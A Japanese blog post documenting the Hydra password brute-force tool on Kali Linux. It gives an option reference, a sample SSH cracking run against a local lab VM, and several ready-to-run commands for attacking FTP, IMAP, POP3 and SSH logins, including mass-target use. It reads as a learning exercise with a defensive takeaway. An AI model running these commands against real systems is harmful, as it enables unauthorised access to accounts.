ハッカーはhydraでログインクラックを確認する(Kali Linux)
ログインクラックを理解するためにまとめてみました。
このhydraの動作確認は自分のローカルテスト環境で行っています。(VM VirtualBox)
hydraとは
Hydraは並列化されたログインクラッカーツールです。
攻撃するための多数のプロトコルをサポートしています。非常に高速で柔軟性があり、新しいモジュールの追加も容易です。このツールを使えば、研究者やセキュリティコンサルタントは、システムへの不正アクセスをリモートでどれだけ簡単に行えるかを示すことができます。
以下をサポートしています。
Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP(S)-FORM-GET, HTTP(S)-FORM-POST, HTTP(S)-GET, HTTP(S)-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere、PC-NFS、POP3、PostgreSQL、RDP、Rexec、Rlogin、Rsh、SIP、SMB(NT)、SMTP、SMTP Enum、SNMP v1+v2+v3、SOCKS5、SSH(v1およびv2)、SSHKEY、Subversion、Teamspeak(TS2)、Telnet、VMware-Auth、VNC、XMPP。
機能
・SSHやFTPなどのサービスや、webアプリのログインフォームに対しての攻撃
ツールの場所
[Applications]→[05-Password Attacks]→[Offline Attacks]→[hydra]
ツールと使用方法
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [-m MODULE_OPT] [service://server[:PORT][/OPT]]
例 hydra -L /mnt/wordpressshare/users.txt -P /mnt/wordpressshare/password.txt ssh://192.168.56.2
【実行イメージ】少し端折って整形しています。
┌──(kali__kali)-[~]
└─$ hydra -L /mnt/wordpressshare/users.txt -P /mnt/wordpressshare/password.txt ssh://192.168.56.2
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-05-08 02:53:54
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 25 login tries (l:5/p:5), ~2 tries per task
[DATA] attacking ssh://192.168.56.2:22/
[22][ssh] host: 192.168.56.2 login: **** password: *****
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-05-08 02:54:01
オプション
-R
restore a previous aborted/crashed session.
前の中断された/クラッシュしたセッションを復元します。
-I
ignore an existing restore file. (don’t wait 10 seconds)
既存のリストアファイルを無視します。(10秒も待たずに)
-S
perform an SSL connect.
SSL接続を行います。
-s PORT
if the service is on a different default port, define it here.
サービスが別のデフォルトポートを使用している場合は、ここで定義します。
-l LOGIN or -L FILE
login with LOGIN name, or load several logins from FILE.
LOGIN名でログインするか、FILEから複数のログイン情報を読み込む。
-p PASS or -P FILE
try password PASS, or load several passwords from FILE.
パスワードPASSを試す、または複数のパスワードをFILEから読み込む。
-x MIN:MAX:CHARSET
password bruteforce generation, type “-x -h" to get help.
パスワードブルートフォース生成、"-x-h"と入力してヘルプを表示します。
-y
disable use of symbols in bruteforce, see above.
ブルートフォースでのシンボルの使用を禁止する。
-r
rainy mode for password generation. (-x)
パスワード生成時の雨のモード。(-x)
-e nsr
try “n" null password, “s" login as pass and/or “r" reversed login.
“n “はヌルいパスワード、"s “はパスとしてのログイン、"r “は逆のログインを試してみてください。
-u
loop around users, not passwords. (effective! implied with -x)
パスワードではなく、ユーザーを対象としたループです。(有効! -xで暗示)
-C FILE
colon separated “login:pass" format, instead of -L/-P options.
L/Pオプションの代わりに、コロンで区切られた “login:pass “フォーマットを使用します。
-M FILE
list of servers to attack, one entry per line, ':’ to specify port.
攻撃するサーバーのリスト、1行に1つのエントリ、’:’でポートを指定します。
-o FILE
write found login/password pairs to FILE instead of stdout.
見つかったログイン名とパスワードのペアを、標準出力ではなくFILEに書き込む。
-b FORMAT
specify the format for the -o FILE: text(default), json, jsonv1.
-o FILEのフォーマットを指定します。
-f / -F
exit when a login/pass pair is found. (-M: -f per host, -F global)
ログイン/パスのペアが見つかったときに終了します。(-M: -f ホスト毎, -F グローバル)
-t TASKS
run TASKS number of connects in parallel per target. (default: 16)
run TASKS ターゲットごとに並列に接続する数。(デフォルト: 16)
-T TASKS
run TASKS connects in parallel overall. (for -M, default: 64)
TASKSを全体的に並列に接続して実行します。(-Mの場合、デフォルト:64)
-w / -W TIME
wait time for a response (32) / between connects per thread (0).
レスポンスまでの待ち時間(32) / スレッドごとの接続間隔(0)
-c TIME
wait time per login attempt over all threads. (enforces -t 1)
全スレッドのログイン試行あたりの待ち時間を (enforces -t 1)
-4 / -6
use IPv4 (default) / IPv6 addresses. (put always in [] also in -M)
IPv4(デフォルト)/IPv6アドレスを使用します。(常に[]内に入れて-Mでも)
-v / -V / -d
verbose mode / show login+pass for each attempt / debug mode.
詳細モード/試行ごとにログイン+パスを表示/デバッグモード。
-O
use old SSL v2 and v3.
古いSSLv2およびv3を使用します。
-K
do not redo failed attempts. (good for -M mass scanning)
失敗した試行をやり直さないでください。 (-Mマススキャンに適しています)
-q
do not print messages about connection errors.
接続エラーに関するメッセージを出力しません。
-U
service module usage details.
サービスモジュールの使用法の詳細。
-m OPT
options specific for a module, see -U output for information.
モジュールに固有のオプション。詳細については、-U出力を参照してください。
-h
more command line options. (COMPLETE HELP)
その他のコマンドラインオプション。 (完全なヘルプ)
server
the target: DNS, IP or 192.168.0.0/24. (this OR the -M option)
ターゲット:DNS、IP、または192.168.0.0/24。 (これまたは-Mオプション)
service
the service to crack. (see below for supported protocols)
クラックするサービス。 (サポートされているプロトコルについては、以下を参照してください)
OPT
some service modules support additional input. (-U for module help)
一部のサービスモジュールは、追加の入力をサポートします。 (モジュールヘルプの場合は-U)
hydraの使い方
hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh
hydraツールのまとめ
やられサーバー(テスト環境)にsshの環境を作成を行い、簡単なユーザー名とパスワードの辞書を作成してSSHのクラッキングを行いました。
結論としてパラメーターの設定はそれほど難しくはないのですが、パラメーターが大文字/小文字で動作が異なり、何十回(^^;;も試行錯誤を行い、ハッキングに成功しました。
パスワードは複雑するのは当たり前ですが、ユーザ名(ID)も複雑にしておいた方が良い事を教えられました。
覚えるのが大変ですね。(^^;